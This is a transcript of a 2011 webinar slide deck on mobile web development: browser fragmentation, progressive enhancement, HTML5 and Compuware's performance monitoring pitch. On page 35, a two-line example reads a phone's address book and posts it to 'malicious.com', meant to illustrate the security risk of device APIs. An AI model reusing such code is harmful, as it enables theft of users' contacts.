best practices for delivering quality web experiences

56

Upload: ben-mantooth

Post on 31-Aug-2014

775 views

Category:

Technology


1 download

DESCRIPTION

 

TRANSCRIPT

Page 1: Best practices for delivering quality web experiences
Page 2: Best practices for delivering quality web experiences

State of the mobile web

Peter-Paul Kochhttp://quirksmode.orghttp://twitter.com/ppk

Compuware Webinar , 24 March 2011

Page 3: Best practices for delivering quality web experiences

Mobile First!• Design your sites for mobile first.

• You’ll be forced to decide what is so important that it MUST be shown in the important that it MUST be shown in the mobile device’s tiny display.

• The things you leave out of the mobile version don’t really need to be in the desktop version, either.

Page 4: Best practices for delivering quality web experiences

• Safari iPhone

• Android WebKit

• Dolfin for bada

• BlackBerry WebKit

• Obigo WebKit

• Ovi

• Bolt

• BlackBerry old

The mobile browsers

• Opera Mobile

• Opera Mini

• MicroB

• Nokia WebKit

• Firefox

• Phantom

• Obigo old

• NetFront

• IE

• UCWeb

You may groan now.

Page 5: Best practices for delivering quality web experiences

• Safari iPhone

• Android WebKit

• Dolfin for bada

• BlackBerry WebKit

• Obigo WebKit

• Ovi

• Bolt

• BlackBerry old

The mobile browsers

• Opera Mobile

• Opera Mini

• MicroB

• Nokia WebKit

• Firefox

• Phantom

• Obigo old

• NetFront

• IE

• UCWeb

WebKit-based

Page 6: Best practices for delivering quality web experiences

WebKit on MobileThere is no WebKit on mobile!

There's iPhone Safari (2 and 3), and Android (1.0 and 1.5) and S60 WebKit (v3 and v5) and Blackberry WebKit,and Palm WebKit,and Bolt, Ozone, Teashark, and a few more

These WebKits are all different.

Page 7: Best practices for delivering quality web experiences

Exhibit A: WebKit comparison tablehttp://quirksmode.org/webkit.html

Page 8: Best practices for delivering quality web experiences

• Safari iPhone

• Android WebKit

• Dolfin for bada

• BlackBerry WebKit

• Obigo WebKit

• Ovi

• Bolt

• BlackBerry old

The mobile browsers

• Opera Mobile

• Opera Mini

• MicroB

• Nokia WebKit

• Firefox

• Phantom

• Obigo old

• NetFront

• IE

• UCWeb

Page 9: Best practices for delivering quality web experiences

• Safari iPhone

• Android WebKit

• Dolfin for bada

• BlackBerry WebKit

• Obigo WebKit

• Ovi

• Bolt

• BlackBerry old

The mobile browsers

• Opera Mobile

• Opera Mini

• MicroB

• Nokia WebKit

• Firefox

• Phantom

• Obigo old

• NetFront

• IE

• UCWeb

Proxy browsers

Page 10: Best practices for delivering quality web experiences

Proxy browsers• Page is downloaded to and rendered

on a specialised server.

• A highly compressed image is sent to • A highly compressed image is sent to the client.

• Advantage: cheap, both in device and in network costs

• Disadvantage: no client-side interactivity

Page 11: Best practices for delivering quality web experiences

Global stats Q4 2010(by StatCounter)

Safari 23% iOS Stable

Opera 22% Many OSs Stable

BlackBerry 18% BlackBerry Down

Nokia 16% Symbian (and S40) StableNokia 16% Symbian (and S40) Stable

Android 12% Android Up

NetFront 4% Sony Ericsson & Samsung Stable

Samsung 1% bada Up

UCWeb 1% Many OSs Down

Others 3%

Page 12: Best practices for delivering quality web experiences

Browser stats• Those are GLOBAL stats; they are not

necessarily correct for the sites you’re working on. Always check your stats.

•• Social media referrals cause disproportionate iPhone visits; and Android to a lesser degree.

Page 13: Best practices for delivering quality web experiences

Stats(global, Q4 2010)

Page 14: Best practices for delivering quality web experiences

But usually this is what happens

Rest? What rest?

Page 15: Best practices for delivering quality web experiences

Which mobile browsers?

• Safari iPhone

• Opera Mini

• Android WebKit• Android WebKit

• US: BlackBerry (WebKit and older)

• Europe: Nokia WebKit

• Dolfin for bada (easy)

• Opera Mobile (easy)

Page 16: Best practices for delivering quality web experiences

Progressive enhancement

How do you deal with this immense amount of browsers?

Use advanced tricks, but make sure Use advanced tricks, but make sure your site remains usable without them.

The site is enhanced as much as the browser allows.

Page 17: Best practices for delivering quality web experiences

Progressive enhancement

HTML

All browsers support HTML. That’s the definition of a browser.

Page 18: Best practices for delivering quality web experiences

Basic CSS

Progressive enhancement

HTML

Basic CSS

All browsers support most basic CSS. There will be bugs, but only few.

Page 19: Best practices for delivering quality web experiences

Basic CSS

Advanced CSS

Progressive enhancement

HTML

Basic CSS

Advanced CSS is restricted to advanced browsers. Make sure it contains nothing vital; just nice extras.

Page 20: Best practices for delivering quality web experiences

Basic CSS

Advanced CSS

Basic JavaScript

Progressive enhancement

HTML

Basic CSS Basic JavaScript

All browsers support basic JavaScript, but they can be slow. Maybe switch off in BB5 and lower.

Page 21: Best practices for delivering quality web experiences

Basic CSS

Advanced CSS

Basic JavaScript

Advanced JavaScript

Progressive enhancement

HTML

Basic CSS Basic JavaScript

Advanced JavaScript is a problem. Feature detection is your friend. Make sure it contains nothing vital.

Page 22: Best practices for delivering quality web experiences

CSS animations? Use them.If they don’t work, nothing is lost.

Offline storage? Use it.

Progressive enhancement

Offline storage? Use it.If it doesn’t work, the user reloads the site every time. Not perfect, but it works.

Page 23: Best practices for delivering quality web experiences

PerformanceHow long does it take to generate 250 lists with 20 items each?

The following graphs give the number of The following graphs give the number of seconds it took the browsers.

http://quirksmode.org/m/tests/DOMspeed.html

Page 24: Best practices for delivering quality web experiences

Performance

Page 25: Best practices for delivering quality web experiences

Performance

Page 26: Best practices for delivering quality web experiences

HTML5• Which browsers support HTML5?

• What is HTML5, anyway?

• Ask five web developers and they’ll • Ask five web developers and they’ll give you five different answers.

Page 27: Best practices for delivering quality web experiences

HTML5• Offline storage

• Video and audio

• Canvas

• New input types• New input types

• Websockets

• New semantics

• SVG

• File API

• etc. etc. etc.

Page 28: Best practices for delivering quality web experiences

• Safari iPhone

• Android WebKit

• Dolfin for bada

• BlackBerry WebKit

• Obigo WebKit

• Ovi

• Bolt

• BlackBerry old

Offline storage

• Opera Mobile

• Opera Mini

• MicroB

• Nokia WebKit

• Firefox

• Phantom

• Obigo old

• NetFront

• IE

• UCWeb

Page 29: Best practices for delivering quality web experiences

• Safari iPhone

• Android WebKit

• Dolfin for bada

• BlackBerry WebKit

• Obigo WebKit

• Ovi

• Bolt

• BlackBerry old

SVG

• Opera Mobile

• Opera Mini

• MicroB

• Nokia WebKit

• Firefox

• Phantom

• Obigo old

• NetFront

• IE

• UCWeb

Page 30: Best practices for delivering quality web experiences

• Safari iPhone

• Android WebKit

• Dolfin for bada

• BlackBerry WebKit

• Obigo WebKit

• Ovi

• Bolt

• BlackBerry old

New input types

• Opera Mobile

• Opera Mini

• MicroB

• Nokia WebKit

• Firefox

• Phantom

• Obigo old

• NetFront

• IE

• UCWeb

Page 31: Best practices for delivering quality web experiences

HTML5• Which browsers support HTML5?

• It depends.

• HTML5 is mainly a marketing buzzword.buzzword.

• That’s not bad; we need it.

• But it has no technical meaning.

Page 32: Best practices for delivering quality web experiences

HTML5 apps• One core app written in HTML,

CSS, and JavaScript.

• Deployed to several mobile platforms.platforms.

• Ideally, CSS and JavaScript are stored on the device.

• If it can't be deployed it's still a website.

Page 33: Best practices for delivering quality web experiences

Symbian Windows Mobile

I’ve done it. In April 2009.

Page 34: Best practices for delivering quality web experiences

Device APIs• Native apps offer device APIs.

• They allow you to access the camera, accelerometer, SMS, file system, etc.accelerometer, SMS, file system, etc.

• Web apps will have to offer them, too.

device.phone.call(device.addressBook['mom'])

Page 35: Best practices for delivering quality web experiences

Device APIs

There’s a serious security problem here.

var ab = device.addressBook.toString();sendRequest(POST,'malicious.com',ab);

Providing trusted apps might remain an app store function.

Page 36: Best practices for delivering quality web experiences

Summary• Mobile First! Design for mobile, and

your desktop site will become better, too.

• Use progressive enhancement. Lots of it. It will keep you sane.

• Know which browsers to develop for.

Page 37: Best practices for delivering quality web experiences

Which mobile browsers?

• Safari iPhone

• Opera Mini

• Android WebKit• Android WebKit

• US: BlackBerry (WebKit and older)

• Europe: Nokia WebKit

• Dolfin for bada (easy)

• Opera Mobile (easy)

Page 38: Best practices for delivering quality web experiences

Thank you

•• Peter-Paul Koch

• http://quirksmode.org

• http://twitter.com/ppk

• Compuware Webinar , 24 March 2011

Page 39: Best practices for delivering quality web experiences

Steve Tack

CTO APM Solutions

Compuware

Best Practices For Delivering Quality Web Experiences In A Mobile, Multi-Browser World

Page 40: Best practices for delivering quality web experiences

Users Access The Web On A Variety Of Browsers And Devices

Page 41: Best practices for delivering quality web experiences

Mobile Devices & Browsers Ever More Important

• Morgan Stanley predicts global mobile users will outnumber

desktop internet users within 3 years

1600

1800

2000

Inte

rne

t U

sers

(M

M)

Desktop Users

Mobile Users

Global Mobile vs. Desktop Internet User Projection, 2007 - 2015

Source: Mary Meeker, Morgan Stanley

0

200

400

600

800

1000

1200

1400

2007 2008 2009 2010 2011 2012 2013 2014 2015

Inte

rne

t U

sers

(M

M)

Source: Mary Meeker, Morgan Stanley

Page 42: Best practices for delivering quality web experiences

Typical Evolution Of A Company’s Mobile Strategy

• Denial – Don’t do anything

– “Mobile Phone Users? Do we have any?”

– “Just have them go to our regular website”

• (Reluctant) Acceptance – Create a minimal mobile website

– “Let’s create a simple version of our website that works across all devices”

– Lowest common denominator approach

• Panic – Get an app store presence as quickly as possible

– “We have to have a native app. Everyone else is doing it”

Limitation

– “We have to have a native app. Everyone else is doing it”

– Create a thin native wrapper around the browser object. Low effort.

Questionable value.

• Contemplation – Fix the native app

– “Wow! These phones can do that?”

– Iteratively replace browser object with native calls, add device-specific

capabilities

• Maturity – Optimize the mobile website

– “Wow! I can do that in a browser? Really?”

– Use the mobile-specific browser capabilities to enhance mobile website

Opportunity

Page 43: Best practices for delivering quality web experiences

Q

M

F

e

a

t

u

r

e

p

h

o

n

e

Smartphone Owners By Far Most Active Users Of Mobile Web

0% 10% 20% 30% 40% 50% 60% 70% 80% 90%

S

m

a

r

t

p

h

o

n

e

M

D

Daily Weekly Monthly

Source: Forrester Research North American Technographics® Benchmark Surveys, Q2 2010

Page 44: Best practices for delivering quality web experiences

Different Browsers And Devices Have Different Capabilities

• In turn different browsers offer different experiences - even

amongst high-end, touch screen smartphones

Page 45: Best practices for delivering quality web experiences

Smartphones Have Redefined Mobile End-Users’ Experience Expectations

• By end of 2011 Nielsen

expects more smartphones

in U.S. than feature phones

• As of November 2010

– 31% of U.S. mobile

subscribers own

smartphonessmartphones

– 45% of recent acquirers chose a smartphone over a feature phone

• Mobile end-users expect

rich, engaging mobile web

experiences

Page 46: Best practices for delivering quality web experiences

End-Users’ Mobile Experience Expectations Are Increasing

Page 47: Best practices for delivering quality web experiences

End-Users’ Mobile Experience Expectations Are Often Not Met

• Mobile website performance impacts

business results

– 52% of users are unlikely to return to a site

they had trouble accessing on their phone

• 40% said they’d likely visit a competitor’s website

instead

Social media allows

users to voice & record

their frustration in

real-time, negatively

impacting revenue and

brand equity

Page 48: Best practices for delivering quality web experiences

Poor Mobile Website Performance Hurts Business

20

25

30

Ab

an

do

nm

en

t R

ate

(%

)

Abandonment Rate

- All Browsers

Abandonment Rate

- iPhone Safari

Abandonment Rate Across 200+ Web Sites / 177+ Million Page

0

5

10

15

0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15

Ab

an

do

nm

en

t R

ate

(%

)

Page Load Time (sec.)

Source: Gomez real user monitoring

Slower pages = higher abandonment• Reduces revenue

• Increases costs

• Damages brand

Slower pages = higher abandonment• Reduces revenue

• Increases costs

• Damages brand

Page 49: Best practices for delivering quality web experiences

Cloud

Private Public

Data Center

Virtual/Physical Environment

LocalISP

3rd Party/Cloud Services

Browsers Customers

The Application Delivery Chain

Delivering Quality Mobile Web Experiences Is Difficult - Solution: Adopt Your End-Users' POV

• Inconsistent geo performance• Bad performance under load• Blocking content delivery • Poorly

performing

• Resource contention

• Capacity issues• Slow bursting

Employees

Mainframe

Storage

Web Services

Mobile Components

Web Servers

App Servers

DB Servers

Load Balancers

WANOptimization

Network

Mobile Carrier

Content Delivery Networks

Devices

MajorISP

Employees

• Network peering problems

• Outages

• Blocking content delivery

• Configuration issues• Oversubscribed POP• Poor routing optimization• Low cache hit rate

• Network peering problems

• Bandwidth throttling

• Inconsistent connectivity

• Poorly performing JavaScript

• Browser/ device incompatibility

• Pages too big• Low cache

hit rate

• Network resource shortage • Faulty content transcoding • SMS routing / latency issues

• Poorly performing Java or .NET methods

• Slow SQL or Web services transactions

• Server performance

• Network problems

• Bandwidth contention

• Improper load balancing

Customer/user point of view

Page 50: Best practices for delivering quality web experiences

Know Your End-Users

• Can mobile end-users complete key transactions?– While on the move– Often one-handed– With intermittent network/GPS connections

• What devices and browsers do they use?

What networks are they on?• What networks are they on?

• What are their usage patterns?

• What is their geographic location?

• What is their context?

• What are their objectives?

Page 51: Best practices for delivering quality web experiences

Browsers Are Evolving

• HTML5 support

– Application cache, canvas,

audio, video, local storage,

geo-location, etc.

• CSS3 support

–Web fonts, animations,

gradients, shadows, etc.gradients, shadows, etc.

• Performance improvements

– Faster JavaScript processing

– Parallel download of JS scripts

– More parallel connections

– Resource pre-fetching

– Multi-threading in JS

Page 52: Best practices for delivering quality web experiences

Leverage Browser Capabilities To Improve Perceived Performance

• Fewer steps to complete an end-user goal equals better

perceived performance from an end-users’ perspective

Page 53: Best practices for delivering quality web experiences

Ensure Mobile Web Applications Function As Intended Across All The Devices Your Customers Use

iOS 4.1 – iPhone 3GSBlackBerry OS 5 – Storm 2Android 2.2 – Nexus One

Page 54: Best practices for delivering quality web experiences

Embrace A “One Web” Application Performance Management Approach

• Mobile websites and applications often share backend infrastructure and

services with existing web apps

• Important to leverage established and common best practices, metrics

and technologies for both mobile and web channels

– Garner operational efficiencies

– Identify mobile specific problems, web specific problems or both across the

entire application delivery chain - from device to datacenteriPad & Safari

entire application delivery chain - from device to datacenteriPad & Safari

Windows 7 & ChromeiPhone AppiPhone & Safari

Page 55: Best practices for delivering quality web experiences

How To Deliver Quality Web Experiences In A Mobile, Multi-Browser World

• Adopt your end-users' point of view

• Know your end-users

• Tailor your mobile experience to meet your end-

users' objectives

• Leverage browser capabilities to improve perceived • Leverage browser capabilities to improve perceived

performance

• Ensure mobile web applications function as

intended across all the devices your customers use

• Embrace a “One Web” application performance

management approach

Page 56: Best practices for delivering quality web experiences

Questions?

• Increased revenue 25%

• Reduced revenue loss by 92% and $737,251 annually

• Reduced home page load time from 11.3 seconds to 3.4 seconds

Compuware Customers Enjoy Measurable Benefits

to 3.4 seconds

• Saved 50%+ in staff and fees

• Reduced downtime 45%

• Improved first-hour problem resolution rate to 80%

• Improved annual troubleshooting efficiency by 97%, saving $784,000

• Reduced SAP license costs by $475,000 per year

For more information visit Gomez.com or contact us at +1 781.778.2700